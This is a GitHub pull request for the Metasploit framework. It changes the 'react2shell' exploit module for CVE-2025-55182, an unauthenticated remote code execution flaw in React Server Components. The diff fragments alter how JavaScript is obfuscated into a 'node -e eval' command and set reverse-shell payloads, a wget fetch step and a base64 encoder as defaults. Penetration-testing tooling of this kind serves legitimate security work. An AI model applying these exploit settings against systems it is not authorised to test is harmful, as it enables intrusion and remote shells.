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Change react2shell default encoder and payload #20773

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Merged
smcintyre-r7 merged 3 commits into from
Dec 15, 2025
Merged

Change react2shell default encoder and payload #20773

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ca2ac75
Change react2shell default encoder
jheysel-r7 Dec 12, 2025
ff188b8
Update regex
jheysel-r7 Dec 15, 2025
0589121
Update payload options
jheysel-r7 Dec 15, 2025
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2 changes: 1 addition & 1 deletion lib/msf/core/payload/nodejs.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -85,6 +85,6 @@ def nodejs_reverse_tcp(opts={})
# @param [String] code the javascript code to run
# @return [String] a command that invokes "node" and passes the code
def nodejs_cmd(code)
"node -e 'eval(\"#{Rex::Text.to_hex(code, "\\x")}\");'"
"node -e 'eval(\"#{code.gsub(/[^a-z0-9\s]/i) { |char| Rex::Text.to_hex(char, '\\x') }}\");'"
end
end
10 changes: 7 additions & 3 deletions modules/exploits/multi/http/react2shell_unauth_rce_cve_2025_55182.rb
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Expand Up @@ -32,16 +32,17 @@ def initialize(info = {})
['URL', 'https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components'],
['URL', 'https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3']
],
'Platform' => ['multi'],
'Platform' => %w[unix linux win],
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@jvoisin jvoisin Dec 15, 2025

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Why not 'multi'?

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@jheysel-r7 jheysel-r7 Dec 15, 2025

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Although it's placed in the exploits/multi folder, the platforms should be explicitly defined like so

'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET'
'PAYLOAD' => 'cmd/unix/reverse_nodejs'
}
# Tested with cmd/unix/reverse_nodejs
# Tested with cmd/unix/reverse_bash
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
Expand All @@ -55,7 +56,10 @@ def initialize(info = {})
],
],
'Payload' => {
'BadChars' => '"'
'BadChars' => '"',
'Space' => 131068,
'DisableNops' => true,
'Encoder' => 'cmd/base64'
},
'DefaultTarget' => 0,
'DisclosureDate' => '2025-12-03',
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